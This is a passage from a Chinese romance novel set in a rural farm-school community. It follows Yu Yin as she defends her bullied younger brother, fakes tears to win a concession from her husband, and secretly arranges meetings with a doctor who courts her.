在摔倒的时候,她肯定会先护着车的。 余银正准备骑的时候,游雾州又想起什么,问她:“对了,你带钱了没有。” 说完就从口袋里掏出票和前来给余银,也不知道是不是游雾州因为工作,今天穿着白衬衫和军绿色的裤子,头发也特别整齐。 整个人看着不是一般的帅气。 余银其实带了,但她张口却说,“忘记了。” 在她说完忘记了以后,游雾州已经一股脑把带的钱和票都给了余银,“中午在国营大饭店等我们吧,我和余庆过去找你。” 他还是有些不放心,中午也不让余银再回来一趟了,直接在镇上等着他们吧。 余银皱眉,“我回来接你们在一起去不行吗,走一趟多热多累啊。” “行了,就这么决定了。”余银见他还要再说,她直接蹬上车子,“我走了啊,中午回来接你俩。” 余银骑上车以后,忍不住嘟囔了一句,“怎么这么啰嗦现在。” 游雾州看着她骑车的背影还算平稳,心也慢慢松下来了,无奈摇了摇头- 余银也不知怎么个事,怎么和游雾州一来镇上,就没碰上过一次。 自己单独来,就碰上了。 她也不明白,这缘分到底是怎么个事啊。 余银刚到镇上,就下了车推着走,没走两步,就有个人在叫她,“余银,真的是你,我没看错吧。” 余银推着车子的手一顿,这声音真耳熟,扭头一看,眸光顿住。 马路对面,和她反方向,但一样是推着自行车的男人。 阳光洒在他的身上,那一双因为强烈的光线而变得浅淡的眼眸,衬得他的面容更加温润白皙。 余银眼睛眨了眨,盯着他,表情有些诧异也有些尴尬。 周華錦从马路对面推着车过来,到余银面前,他有些不好意思地笑道:“我还以为我看错了,这些天,我不是故意不去找你的,只是有事情耽搁了。” 余银眼睛四处乱飘,见没什么人看过来,她才道:“没事,没事,我阿舅最近也怎么腿疼。” 周華錦的笑容僵住,他咬着唇道:“我,我那天找你说的都是认真的,我想通了,这些天我一直在做我父母的工作,不是故意不去找你的。” “你别生我气。” 余银顿时倒吸一口冷气,她还以为那天是在做梦,早就抛之脑后了,也绝了那个打算。 这,这感情周華錦是认真的,还回去做他父母工作去了? 余银将那天的事也记不大清,是因为她给了周華錦希望吗? 她干笑一声,“哈哈,小周医生说笑了,我没生你气,这是突然一下没反应过来而已。” “这太阳太大了,热的人心不在焉,你别放在心上啊。” 余银找着借口,糊弄着他。 周华锦这才又重新露出笑容,问她:“就你自己过来镇上吗,是要买什么东西啊。” 余银心下一团乱,她手挡了下额前的光,轻轻“嗯”了一声,“随便转转,也不买什么。” 买什么她也不好跟周华锦说,万一这男人以为是自己问他要东西,真给买了。 那到时候就算想说清楚,也说不清楚了。 没等周华锦再说什么,余银又开口问他,“对了,你刚才那是要去哪啊?” 她指了指刚才周华锦要去的方向,那明显是下乡的方向,不是他去医院上班的方向。 周华锦顿了一下,说道:“没去哪。” “小周医生,你在撒谎啊。”余银一眼就看出来周华锦的表情不对,她唇家扬起,“你是不是要去下队啊,如果是就别耽误了,还是工作要紧的,小周医生。” 周华锦的小谎言被拆穿,他张了张口,有些不知道怎么说。 余银挥了挥手,对他道:“哎呀,工作要紧了小周医生,今天你忙,又不是不会再见了,快去忙吧。” 周华锦像是下定决心般,对她说:“那我两天以后不忙,还能再见你吗?” 他过两天就不忙了,到时候也不能去杨柳村找余银,本来就是因为下队能见她,才去的,谁知道她今天来镇上了。 余银打着哈哈,“那就等你过两天不忙了再说吧。” 她还没想好,可不能再随便给周华锦什么意思。 余银觉得周华锦不是个特别聪明的人,这种人有好处也有坏处,只是两人现在的关系,对余银来说,周华锦的不聪明。 让她很有可能就会很难办。 尤其是在她现在的男人是游雾州的情况下。 游雾州太过敏锐和聪明,且不好糊弄。 余银与周华锦必须要很慎重,考虑清楚后,才能…… 第66章 第66章余银疏远游雾州? 跟周华锦分开之后,余银也没有了心思在镇上逛,她推着车子漫无目地的瞎走。 走着走着,太渴了想喝口水,才发现自己正往回学校的路上。 余银望了望天上的大太阳,輕呼一口气,踩着车子脚踏上,往前走了两步助力,另一只脚跨过去,骑上自行车。 车子晃晃悠悠地在被晒得幹裂的地上走,小鸟布谷布谷的叫着和蝉鸣声混杂在一起。 地里的玉米长得有人差不多高了,結的穗看起来饱满結实裹在青皮外壳里。 再过差不对一个月,也该收玉米了。 余银的心里此时就像是一团被揉乱的线团,找不到头,也找不到尾,无从下手,却又必须解开。 事情真多,她觉得,这让人很烦躁。 等骑着车到学校的时候,还没下課,余银把车停好,她不知道游雾州在哪个班,只好找了树下陰涼等着。 游雾州在放学后,目标明确地直奔去往学校墙角那种的树那,果不其然就看到余银正蹲在树下,也不知道她蹲了多久,但估摸着应该有一会儿了。 看着她脚底下草都被薅得差不多。 他笑着走到余银身邊,“怎么不搬个椅子坐着,腿麻不麻。” 余银就是腿都蹲麻了。才没有起来,要不然放学铃一响,学生们都往外冲着,她早站起来去找余庆了。 她抬了下头,举起手,“拉我一把,腿麻的起不来了。” 游雾州手里还拿着課本,一只手拽着余银怕扯到她胳膊,就把課本递给她。 “你给我这幹嘛啊?”余银手里的触感不太对,看向手里的东西不解地问游雾州,“这是五年级的課本,你带五年级啊?” 游雾州嗯了一声,弯腰手臂绕过余银也下,将她托起来,解释道:“手里拿着东西,怕扯着你胳膊了。” 余银哦了一声,把课本还给他,扶着游雾州站好,“余庆呢?怎么还没过来啊?” 她没看到余庆过来,按理说这个余庆应该知道要去国营大饭店吃饭,平时都最积极了,怎么不见人。 游雾州摇了摇头,问她,“还能走嗎,我过去找他吧,估计还在班里吧。” 余银捶着酸麻的小腿,想了下,说道:“算了,我跟你一起去吧,活动一下应该会好点。” 说完,两腿以一个极为僵硬的姿势,一点一点挪着。 游雾州看着她这副模样,叹了口气,“我去找余庆吧,这会日头正毒,你还在这等着。” 余银刚走出陰涼,就感受到了那股热浪和头顶的炙热,她当即就后悔了,眼下见游雾州这么说,也不坚持了。 点着头往陰涼地挪着,解释道:“那你去吧,我这腿实在麻,不是因为太阳毒。” 她这解释个更是此地无银三百两。 游雾州笑了一下,“嗯。腿麻很難受的,你缓缓,我去喊余庆过来。” 他还没走到余庆的班级,就见柳盼娣牵着余庆过来,见着他余庆连忙松开手,往游雾州冲过来。 看起来很像受了欺负见到家人十分委 屈模样。 游雾州看着抱着他的余庆,皱了皱眉。 柳盼娣招呼都没跟他打,赶紧解释道:“他一个站在厕所门口那,这太阳多大了,我怕他晒中暑了,问他站那幹啥也不说,就只好带着他来找你。” 游雾州觉得有些不对,他摸了摸余庆的头,什么也没说,朝柳盼娣道了声谢。 柳盼娣摆了摆手,“客气了,那我先走了。” 等柳盼娣走了以后,游雾州拦着余庆的肩膀,他声音很輕,但很直接的问余庆:“是有人欺负你了嗎?” 余庆没说话,只是抱着他的身子打了个颤,还往他身上拱了拱,似乎是有点不好意思开口。 游雾州一下就明白了,他輕轻拍了一下余庆的肩膀,“没关系的,你不想说也没事,余庆。” 余庆声音又小又闷,他的语气带着点哭腔,“我真没尿褲子。” 游雾州垂头看了一下他的屁股后,看不出来有水迹,可能是因为褲子颜色重的缘故,但仔细看,屁股那部分确实看着和周圍不太一样的颜色,有一点重。 估计他刚才站在那晒的,但还没完全幹。 游雾州皱紧眉头,问他:“是有人忘记椅子上倒水,然后笑话你尿褲子了嗎?” 他那褲子上的水迹,不太像尿裤子痕迹,一般尿裤子腿上痕迹会更重,但他只有屁股那部分有。 所以很很明显,应该是坐到水上了,再加上他刚才的那句话,游雾州将事情大概猜了出来。 余庆猛的抬起头来,似乎是有些不敢相信,然后有些委屈的说:“可是没有人相信。” 他说这话时,可能是强忍着没掉眼泪的缘故,眼眶和鼻尖有些红红的。 游雾州臉色沉了下来,平复了下呼吸,然后轻声问他:“知道是谁倒的水嗎?” 余庆摇了摇头,小声道:“我已经是大孩子了,不会尿裤子了,而且我真的没尿裤子。” “我知道,余庆不会撒谎。”游雾州摸着他的头说,“那你记得是谁第一个说你尿裤子的吗?” “什么?”余庆有些茫然,显然不知道为什么这么问。 游雾州在心里叹了口气,跟他解释:“第一个说你尿裤子的人,肯定知道是谁往你椅子上倒的水,也有可能是他倒的。因为你在坐着,裤子湿的的在你屁股下,没人看能看得到,除非你站起来了,或者就是知道你凳子上有水的人。” 余庆慢半拍的反应着,他问游雾州,“是叫我起来的同学那个人,很有可能就是往我椅子上倒水的人吗?” “不排除有这种可能。”游雾州说道。 余庆低低地哦了一声,垂下头去。 他们两个站那没说话,都在思考着什么。 “你倆站那干啥呢?”余银的声音打断了两人的思考。 游雾州见她过来,下意识地去看她的腿,发现她这会儿走路已经没啥事了,就说道:“余庆刚才问了我一道题,他正思考着呢。” 余银眯着眼睛打量这两人,“是吗?” 余庆臉有些红,他声音有些因为紧张而发紧,“是,是的。” 他和游雾州是在教室和学校圍墙的拐角处待着,余庆话说完,他就往前跑去。 “余庆,你尿裤子了?”余庆看着跑到太阳底下,余庆的裤子在阳光下水迹有些明显。 余庆听到这话,脚步立刻停下,手也下意识地往屁股处挡着。 “没,没有。”他说话突然有些结巴,“就是,水洒在我,我的椅子上了,裤子,湿了。” 一听他结巴,余银不難免想着他是因为心虚。 她快步走到余庆跟前,一手拉着他往树下的阴凉,一手朝游雾州做了个跟上的手势。 三个人都站在树下,余银抱着手臂,站在游雾州和余庆的面前,来回踱步。 “你们有事瞒着我。”余银的语气是确定,她邊走邊嘟囔着,“是什么事呢,游雾州去找你,过了好一会都没回来,我过去找你倆,你看到我就有些不对劲,然后我现在你尿裤子了,你比表情更不对了。” “你会因为尿裤子而心虚吗,肯定是会的,但我总觉得有些不对劲啊。” 余银手摸着下巴,怎么想都觉得不对劲。 余庆听到那句尿裤子时,他有些难过。 游雾州都能猜到他那不是尿裤子,他姐却直接说他是尿裤子。 太让人伤心了。 余银想不出来,她双手叉腰,瞪着眼看向余庆,“说,你为什么放学了不直接过来,干啥去了,难道是因为憋不住尿裤子了,不好意思过来?” 她这些话只猜到了一般,余庆越确实是因为“尿裤子”而不好意思过来,想等干了以后再过来了。 这个年纪的小孩正要面子的。 余庆垂下头,睫毛在眼下落下一片阴影,让人看不到他眼底的情绪。 游雾州张口,没发出声音对余银说:“没尿裤子,水撒了。” 余银微微一愣,有些不信,如果是水洒了干嘛不直接说呢。 她觉得不对劲,但也没有在逼问了。 “你倆不饿啊。”余银抿唇一笑,摆手道:“先去吃饭吧,饿死我了。” 她早上就吃了个鸡蛋,现在到饭点肚子都饿了。 游雾州把地上放着的军绿色背包挎在身上,伸手拍了拍余庆的脑袋,“走吧,去吃饭去。”- 余银发现,余庆的心情明显比平时有些低落,话都没平时多了。 虽然中午的饭余庆吃的很多也吃的很香。 但余银就是觉得不对劲。 所以在下午的时候,余银悄悄地躲在余庆班级外面,这房子也不隔音,她能听到里面再说些什么。 “余庆余庆羞羞臉,老大不小尿裤档,不嫌害臊到处跑,结果一阵尿骚味。” 这会是下课,好几个孩子在那一起唱。 余银在外头听的气得要死,心想,“尿裤子咋了,又没让他们洗,而且她都没问到尿骚味,真是气人这群小屁孩。” 正当她想要站起来,进他们班里问问这群小孩时,突然听到一声怒吼的叫。 “我没有尿裤子。”那是余庆在喊。 那群小孩不但不信,反而笑的很大声音。 “还生气了,不让说,哈哈哈哈哈哈哈,余庆尿裤子还生气,羞羞臉。” “真是羞羞脸,不闲丢人勒,尿裤子还这么理直气壮啊。” “哈哈哈哈,余庆余庆羞羞脸,老大不小尿裤档,不嫌害臊到处跑,结果一阵尿骚味。” 余银气的不行,终于忍不下去了,她站起来朝着他们班后面往前走过去。 “王大山,是你往外椅子上倒的水把我裤子弄湿,我根本没尿裤子,你别胡说。”余庆据理力争。 可好像没人相信他,他的话听起来很苍白。 “谁在欺负同学。”余银在他们班门口站着,大声道。 她看到余庆被一群人圍在中间,看起来孤立无援,也没人相信他。 余银就说,怎么尿裤子了哪有这么不好意思说,原来是有人欺负他。 她快步地走过去,把那个围着的人扯开,站在余庆旁边,抬手摸了摸他脑袋,轻声问:“谁是王大山,指给我看。” 余庆有些沉默,他面对余银有些不知道怎么开口,可能是因为自尊心作祟,他今年已经十一岁了,自己的事情应该自己解决,不应该叫家长。 那样会被笑话的。 “还叫家长,余庆你真好意思。” “就是。自 己尿裤子还叫家长来。” “余庆怎么这样啊,多大了还叫家长啊。” 周围同学们的窃窃私语,让余庆更抬不起头来。 余银深吸一口气,一把扯过那个说的最欢的衣服领子,“对啊,叫家人怎么了,他有家人能叫,你这么说是因为你家里没人来,羡慕嫉妒了吧。” “你,你胡说,我才没有。”被余银抓住衣服领子的男孩,脸色通红反驳着。 “哦,是吗?”余银勾着唇笑道,她声音很轻,“你不是羡慕嫉妒恨,那你为什么要这么说,不就是因为你没有才会这样的,真可怜啊,啧啧。” 她脸上明明有笑容,但笑意未达眼底,给人有种无形的压迫感。 那小男孩气急了,可就是不知道怎么反驳,他愤恨地说:“余庆就是不害臊,自己尿□□丢人怕人说,还叫家长来。” “哦,你没尿过□□啊,你生下来就不会尿尿啊?”余银扫了他两眼,惊讶地说道:“呀,你不会没有尿尿的东西吧,所以没尿过□□?” “你,你胡说。”那小男孩脸涨红,“我,你,我当然——” “你当然是什么?你尿过□□啊?”余银笑的有些玩味,“还是说你有尿尿的东西?我不信,不然你干嘛不说出来,不让大家看看,证明自己呢。” 那小男孩被逼的,当即就要脱裤子。 教室里顿时响起尖叫声,“啊,宋明亮在教室脱裤子啊,快捂着眼睛。” 那个叫宋明亮的小男孩,手放在裤子上顿时,眼睛和脸都有些红,瘪着嘴说,“你,你胡说,我才不脱裤子,那样不对。” 余银微啧一声,问他,“那谁是王大山啊?” 宋明亮不知道她为什么问谁是王大山,但用手指了指余银面前的小男孩,“他叫王大山。” 余银笑眯眯地看着王大山,大声道:“王大山你鑽余庆□□干啥?” “我没鑽过。”王大山回道。 “真的假的?”余银不信,“那他好好在椅子上,你不鑽他□□里,你咋知道他尿裤子了。” “你肯定鑽了,不然余庆尿裤子谁知道啊。”余银一副我就知道的表情。 王大山瞪大了眼睛,“你胡说,我没钻,他就是尿裤子了,不然裤子怎么是湿的啊。” “对对,我胡说。”余银笑盈盈地,“他在椅子上好好坐着,你不钻他□□,你怎么看到他裤子湿了,难道你知道他椅子上裤子会湿。” “你往那泼水了啊?” 余银看似每一句不着调瞎说,都在暗暗引导他说出真相。 “我没泼!” “那你钻他□□里看到了。” “我也没钻。” “钻了就钻了,有什么不好承认的。”余银转头给余庆使了个颜色,笑道:“余庆啊,咋回事啊,尿裤就尿裤子,这有啥的,哪有那个这么大了,还钻你□□的同学好笑,他也不嫌有尿骚,还特意钻你□□呢。” 余庆被余银这么一说,也记得即使他尿裤子,也没王大山钻他□□让人觉得丢脸。 “王大山是不是有病啊,这么大钻人□□干啥。” “他不会是傻子吧,哪有人都这么大了,还没事钻□□啊。” “王大山王大山羞羞脸,老大不小钻□□,不嫌害臊到处说,生怕不知道他钻□□。” 余银把几句话改了改,还给王大山。 那周围的其他人也跟着,又把这改过的念了好几遍。 那个王大山两手垂在身侧,握成拳头,突然气呼呼的去推余银,被余银握住了他的胳膊。 “怎么,这么开不起玩笑啊?”余银冷笑道:“你刚才不也是这样对余庆唱的吗,唱的你就受不了。” 她说完了,又把那几句话重复了一遍。 王大山出声制止,“够了,别唱了,我没有钻余庆□□。” 余银看向那个宋明亮,“诶,那个没尿尿东西的,你说是你没有尿尿的,还是王大山没钻余庆□□啊?” 宋明亮看了眼王大山,又看了眼余银,小声说:“王大山他——” “没有,我没有。”王大山再也受不了了,他怒吼道:“是你让我给他倒的水,然后说他尿裤子了。” 此话一出,教室顿时就安静了。 宋明亮立马反驳,“不是我,是你想要余庆丢人,我才给你出的主意,是你。” “你,是你宋明亮。” “是你王大山。” 两个人都紧紧握着拳头,要打起来了,余银看都没看一眼,牵着余庆走出去。 余庆们教室在嘴边上,而挨着学校围墙边,刚好有一条条道,这个时候那里是阴凉地,余银带着他来到那。 “他俩好像要打起来了,咱们不去看看嘛?”余庆问。 “用得着你操心这个吗?”她轻哼一声,“余庆,被人欺负了只知道说一句没有嘛,你看谁信你了,笨死了。” “可我就是没有尿啊。”余庆忍不住反驳道,“你为什么要说我尿裤子,还说王大山钻我□□啊。” “我不这么说,他俩怎么会把事情说出来。”余银恨铁不成钢戳了戳他的头,“又不是没见过我阿娘怎么跟人吵架的,怎么嘴巴这么笨啊。” “说谎话不对,老師说要做一个诚实的孩子。”余庆一板一眼地说着。 “难怪虎丫都能骑你头上。”余银忍不住嘲讽道:“又不是谎话连篇,说两句又怎么了,他们不也是用谎话给你欺负成这样了。” 余庆小声道:“那也不能不诚实。” “余庆,我跟你说不清楚。”余银烦死了,她没那么有文化。不知道怎么跟余庆说。 余银走了两步,突然扭头拉上余庆。余庆问她:“又去哪啊,我要上课了。” “去找老師。” “我不去找老師,告老師不是大孩子该做的事。”余庆停下脚步。 余银冷笑一声,“就找老师。” 说完扯着余庆就往老师办公室去。 老师办公室门口,游雾州跟另一个年轻一点的男人站一起,不知道说些什么。 余庆见到那个男人,喊了声:“林老师。” 游雾州和那个林老师转过头来,上课铃也恰好响了起来。 “余庆走吧,上课了。”林老师对着游雾州点了下头,往他们教室走过去。 余庆扯开余银的手,跟上那个林老师。 游雾州抬了抬下巴,余银也跟上他。她问游雾州,“你去找了他们老师说什么。” “你都知道了。”游雾州看了她一眼说道。 余银想起那事就一肚子气,她咬着牙道:“那俩小孩怎么心思那么歹毒,想让余庆丢人,故意倒水然后说他尿裤子,还编了几句话埋汰余庆,简直太坏了。” 游雾州不知道那句话的事,皱了下眉,“我等下课再跟林老师反映反映。” “让林老师好好收拾他俩。”余银冷哼一声,张了张口,正想再说什么,游雾州已经走到了他的班级门口。 余银只好闭上嘴巴,往后退了两步。 游雾州看了她一眼,把手里的扇子递给她,小声道:“进来坐着,我跟学校说过了,外头又热又没地方坐的。” 余银想了下那颗树下也被阳光照到了,她就不客气地也跟着走了进去。 游雾州是有椅子和桌子的,他站着讲课又不用做,让余银坐那了。 班里的同学们,好奇的打量着余银,上课都有些心不在焉。 余银被频频打量着也有些不好意思,终于等到下课,她就迫不及待地出了教室,站在门口朝游雾州招手。 游雾州过去,“怎么了?” “那有凉快地。”余银指了指这边教室的跟围墙中间那条道那。 游雾州也注意到了余银的不自在,但那一角又不是时时刻刻都有阴凉的,他问余银:“办公室能睡会,也没什么人,你在那玩行吗。” 余银点点头,她只要不待教室里,去哪都行。 “对了,你跟余庆说说,这孩子一根筋死了。”余银忽然想到余庆的事,跟他说着。 “余庆怎么了?”游雾州拿过她手里的扇子,扇着风问她。 余银把她在余庆教室发生的事,原原本本讲给游雾州听了。 他听完后忍不住笑了起来,一双漂亮的眼眸里闪着细细碎碎的光。 他声音清冽,带着笑意,“余银,你怎么这么厉害,那么快,就把那个几句话重新编了一下啊。” 余银被他这么一说,有些不好意思,那话有些粗俗,她都忘记游雾州是个城里人了。 她转移话题道:“总之余庆认死理,觉得自己是大孩子,挨欺负也不说,只会干巴巴的说没有,这样不行,你帮我们劝劝他。” 游雾州也注意到余庆这个问题,应了下来,“我晚上找时间跟他聊聊。” “行,谢谢你游雾州。” “都是一家人,余庆还叫我一声姐夫,你跟我客气什么。” 游雾州说完看着余银,问她:“我怎么觉得你有些疏远我呢?” 第67章 第67章跟游雾州分床睡 “你怎么会这么想我?”余银眼眸中闪过一丝诧异,水润的鹿眼看向游雾州,全是对他那句话的委屈和失落。 “我,我不知道你为什么这么想我,但真的没有。”余银的眼泪半挂在下睫毛上,泪珠闪着细碎的光,看起来我见犹怜的。 游雾州心脏骤然一紧,瞬间后悔自己怎么说出这样的话来。 细想下来,他那话是确实很伤人心。 要不然余银也不会看起来这么委屈了。 他想張口去说些什么,就见余银侧过头,手擋住了大半張臉,纤细的指尖似乎是在抹掉泪珠。 静谧的辦公室内,她隐隐的抽泣声,就像一根一根的细针扎在他的心上。 游雾州的心里莫名的恐慌,垂在身侧的手不自覺的地握紧。 然后松开抬起又放下,抬起又放下。 最终还是抬起,搂向那微微抖动的薄肩,他声音有些涩然,“对不起,我说错话了。” 余银哭了,还是被自己一句话给气哭的。 她看起来真的很委屈很难过。 游雾州虚虚地搂着余银,放低声音继续道:“是我不对,我说错话了,余银。” 那话是不能收回的,错了就是错了,已经说出口了,就该为这句话道歉。 余银指尖擋着的眼眸底下,毫无伤心难过之意。 她微微垂下头,背对着游雾州,声音有些低,“没事,算了。” 算了?什么叫算了? 游雾州臉色一下变得有些僵住,他压着心口的烦躁,轉过余银的身子,声音有些僵硬:“不能算了,我说错了话,你不能算了。” “那你说怎么要怎么做?”余银抬起那双泛红的眼眸,泫然道:“我说没事算了也不行,那你说我要做什么,我能做什么呢?” 面对余银的质问,游雾州喉间像被什么堵住,張了张口,却说不出话来。 他哑口无言,默了半响,才轻声道:“你想做什么就做什么,我错了你该指出来,罚我的。” 余银轻哼一声,“少来这一套,我能罚你干什么,你这是为难我,还是为难你。” 她深谙有时候台阶该给就要给,情绪要来的快去的虽说不用那么快,但也不能太慢了。 这样就刚好,好了又没完全好。 总之刚才那一茬算是过去了。 游雾州忙开口道:“我干什么都行,不是为难你的。” 他见余银好了点,又低下头凑近她,“要不你掌嘴我一下消消气,余银。” 说完,他举起余银另一只垂在身侧的手,贴在自己臉上,“嗯?消消气好不好。” 余银掀眸看了他一眼,打他嘴? 打人不打臉,骂人不骂妈,这点余银还是知道的。 但也要必须讓游雾州好好长长记性。 做什么能讓他长记性呢? 她顿了顿,然后抽出自己的手,冷哼一声,对游雾州道:“我看到你的道歉诚意了,但是打你嘴不就是打你脸嗎,这不行的。” 游雾州眼眸微闪,在心里默默叹了口气,覺得她的心肠可真软。 他抿了抿唇,道:“你真好,不过你只管打就是了,真没事的。” 余银听了这话,莞尔道:“分开睡三个月,你不准碰我。” 反正床不小,两个人中间放条被子也可以的,而且这俩月的游雾州也不知是怎么了。 每次都有些墨迹,一墨迹,她虽然体验上好了,但是抓心挠肝的,太讓人难受了。 还不如以前虽然也偶有墨迹,但大多都痛痛快快地。 说完半天没得到回应,余银看向游雾州,脸色有些不好看,声音也冷了几分,“不是你说我想做什么就做什么嗎?” 游雾州沉着脸,这条件,还不如讓余银给他几巴掌痛快。 不让他碰三个月,怎么可能忍得下去。 还是同床共枕,更不可能忍下去的。 “这,能不能再缩短一点?”游雾州跟她打着商量,毕竟这事停三个月,他可能真的会憋坏。 而且每次也都是把她伺候舒服了,才轮到自己的。 肉近在眼前,却吃不得碰不得。 余银冷冷地看他一眼,跟他解释:“那分床睡你应该不会难受,而且这种事也不宜多,要节制的,分开三个月也是为了咱们身体着想。” 她被余阿娘又带着去那老大夫那看了,虽说她那时候落水已经算夏天了,但初夏温度也不高,女人身体本就寒,那池塘水也寒,余阿娘怕她落水伤到了根本。 要孩子不好要,又特意带她去瞧瞧,就算没事也抓点补药补补。 那老大夫把完余银脉是这么说的。 身子骨没什么大问题,体寒是很多女人都有的,也正常的,想要孩子不能着急,也不宜房事过多,那样才会伤了根本。透支的身体。 最好几天一次,一次一回,一个月几次最佳。 余银当时一听,心里有些顿然,他们基本上是天天都有。 那她和游雾州就很有可能会因为这事伤了根本,虽然现在他们年轻,看不出来,再过几年怎么辦。 会透支身体的。 余阿娘听完,回去的路上,想到俩个年轻人,不知节制,晚上更是不知道折腾到几点去。 她苦口婆心地交代余银,让她跟游雾州别把那回事看的重要,让她听听大夫的。 余银一直也没找到机会,正好借着这次,把那事重新安排一下。 也是时候该节制一下了。 游雾州清了清嗓子,小声道:“那三个月太久了,一个半月行不?” “不行。”余银见他讨债还债,就知道这人估计估计到时候还要磨自己,她果断道:“你自己说过的别忘了。” 游雾州张了张口,像是想到什么,闭上了嘴巴。 见游雾州不说话了,余银抬眸直视他的眼睛,“同意了?” “嗯,答应你的事情要做到的。”游雾州认真道:“我三个月不碰你,但不分床可以嗎?” 要是让他分床,他连肉渣都吃不到了。 那是真要他命了。 睡一起,晚上还能抱着她睡,总归吃不到还能闻闻味也是好的。 余银毫不犹豫地就答应了,毕竟家里也没多的床和铺被给他。 虽然是要节制,但余阿娘抱孙心切。 还是要让家里人发现,他俩分床没睡一起,指不定余阿娘和王桂香,又要给她开会了。 游雾州无奈地笑了下,见她答应的干脆利落,忍不住逗她:“你不怕我趁你睡着了做点什么?” 毕竟是有前车之鉴的。 余银僵住,她扯着唇角,有些怀疑,但又恨坚定的道:“你,应该不会,毕竟男子汉大丈夫,吐口吐沫是个钉,你都答应我了,不会这么做的。” 游雾州搂着她,步步逼近她往后倒着走,勾唇笑道:“这么相信我,给我戴高帽啊,万一我就是不收承诺,那也就是吐沫,变不成钉呢。” 他一步一步将余银逼到辦公室的木桌旁,手抵在余银腰和木桌 楞的中间擋着。 两人的肌肤热度隔着薄薄衣服都能互相感知到。 余银侧头看了一眼,把他手拿开,自己反客为主轉了个身,将他抵在桌前。 然后则往后退了几步,挨得太近了实在是。 “保持距離啊,游老师。”余银郑重道:“这可是学校,拉拉扯扯的让人瞧见了怎么办,你这可才来学校第一天呢,注意点。” 俩人在家里靠这么近就算了,在学校要是这样做,让人看见了再别有用心一下,说他俩搞破坏就完了。 拉个小说说两句话也没什么,偏偏刚才那姿势让人看了就覺得不对劲。 她脸有些红,忍不住又说他两句,“游雾州,这可是学校,又不是家里想做什么就做什么,咱们要注意点行不行啊。” 她话刚说完,上课铃声就响起来了。 游雾州只是想逗她几句,她这一说也确实发覺刚才的动作有些不妥,自己又犯了错误。 他朝她郑重道:“我知道了,刚才是我唐突了没你考虑的周全。” “快去上课吧,再耽误了。”余银不想跟他瞎扯了,过去推着他往外走- 回去之后,两个人就一人一个被窝,余银是真怕游雾州再趁她睡着做点什么。 在两人被子中间给放了条冬天的厚被子。 游雾州对她的不信任,也抱以有些委屈的态度,“我真不做什么,你这也太防着我了。” “余银,你不相信我嗎?”游雾州学着在学校时余银的模样。 他就等着晚上能抱着解解馋,又不做什么。 现在把压箱底的厚被子拿出来,不尽站了很大的位置。还把余银都挡的严严实实,他躺那看都看不到她。 余银也觉得被子有些碍事,可又真有些怀疑担心他做什么。 她心虚地摸了摸鼻子,“那你管好你自己啊,不能再发生那次的事。” “当然。”游雾州说到做到,他微微挑眉,“我就搂着你,真的什么也不做。” 余银起先不信,但把被子撤走后,两个人睡在一起大半个月。 游雾州确实是老老实实的睡觉,说没碰她一下,还就没碰她一下。 就搂着她睡,一点歪心思都没见动。 余银心里还是有些怀疑,是不是装老实,再等她放松下来,然后才开始慢慢地不老实。 就跟游雾州跟她讲的温水煮青蛙一样。 不过确实没持续多久,余银很快就将这回事抛之脑后了。 她在学校,又见到了周华錦。 这些天她刻意的不去想,也不去镇上,就在学校的办公室里,看以往報紙上的故事,看得那叫一个津津有味。 这天天气挺好,没太阳,还刮着小风,余银搬着小登子,拿着報紙去学校外面那底下看。 余银把椅子靠在樹干上半躺着看報紙。 刚看了没一会儿,有脚步声走了过来,那人停到她面前,有些挡着她的光了。 她報紙连移都没移,微微侧了下身子,换个方向看。 “余银,是我。”周华錦看着椅子上的人,低声道。 他不忙了以后就时不时在遇到余银地方溜达,可是一直没再见到她。 后来他托人在杨柳村打听了一下,才知道余银现在每天都跟着游雾州去农场学校。 他就又来农场学校这,但又不敢进去找她,只好在学校外面待着。 今天他过来,就正好碰到了余银出来,他在遠处看了一会,才鼓起勇气过来。 余银缓慢的移开报纸,轉过头来看他,笑道:“小周医生是过来学校的吗?你直接进去就是了。” 有些是还真是刻意也躲不开的,这时候两个人的缘分怎么这么深。 她真的有些要埋怨老天爷了,为什么不让她先和周华錦相亲认识呢。 “不是说好了等我忙完吗,我在镇上等不到你,听说你在农场学校,就想着过来碰碰运气。”周华錦声音低低地,脸上的笑容有些苦涩。 不管是听还是看,都让人觉得他委屈的让人有些不忍。 余银咬了咬唇内的软肉,她狠了狠心,说道:“我結婚了小周医生。” 她知道这话有些伤人,但也是摆在眼前的现实。 周华锦三番两次的主动,她不是看不到感受不到。 可她知道,却是容易被得到的,越是不容易珍惜。 只有有回应却得不到,才能更牵绊人心。 她想看看周华锦的态度有多坚决,够不够余银盯着骂名选择他。 周华锦听到她这么说,微愣一下,然后轻声道:“我知道啊。” 他半仰了下头,似是无奈,“可我就是,就是……,我知道你和他結婚是迫于名声无奈,我不在乎的。” 他大概知道余银在介意什么,无非是她结结婚了。 可他不在乎,他可以等的。 等余银離婚,他会跟家里人说清楚,把家里都打点好。 这个世界上并不是没有離婚的夫妻。 余银沉默,过了一会儿,她才缓声道:“你最近都过来学校。” 她有点担心游雾州看到过周华锦,虽然今天她才见到,但难免游雾州不会怀疑。 这样的话对她很不利。 如果周华锦足够聪明,就不应该来学校找她,而是借一个很正当的时机,佯装无意地碰上她。 可周华锦却又没那么聪明,没那么周到。 但却又太过真诚的为她考虑。 虽然考虑到不周全。 周华锦摇头解释道:“我每次过来都是遠遠看着,就看一眼就走了,他没注意到我。” 这个“他”说的是谁,不言而喻。 余银微微松下一口气,她对周华锦说,“尽量不要再来学校这里了,人多眼杂地。” “我……”周华锦有些为难地说,“我就是想每天看你一眼,就远远地瞧上一眼就行。” 他的语气甚至有些祈求。 周华锦也没想做什么,就是每天能看到余银一眼,他就觉得很开心。 “我会很小心,很小心的。”周华锦保证道:“就远远地,不会让他注意到的,行吗?” 余银这下真是有些不知道怎么拒绝了,她握着半挡着脸的报纸,指尖有些微微用力。 她抬眼打量了一下一下周华锦,放人群里不说一眼能看见,那也是听吸引人的模样。 他再多来来学校,怎么可能不被注意到。 余银叹气道:“你觉得你再多来几次,没人能注意到吗?” 周华锦顿住,垂下头,声音很小声的说:“我知道了,以后不来学校了。” 见他这副模样,余银又觉得是不是,连他这个小小的要求都不能接受,有些太过分了。 她半仰头望着头顶层层叠叠地樹叶,沉默地凝视了片刻后,启唇道:“我有时候会自己去镇上轉转。” 她没把话说清楚,但周华锦应该能明白是什么意思。 周华锦眼睛一亮,“和那天一样吗?” 是说的他们俩在镇上碰到的那天吗? 余银掀眸看他一眼,抖了抖报纸,像是自言自语的样子,“差不多一周一次吧,我上午去镇上转转玩。” 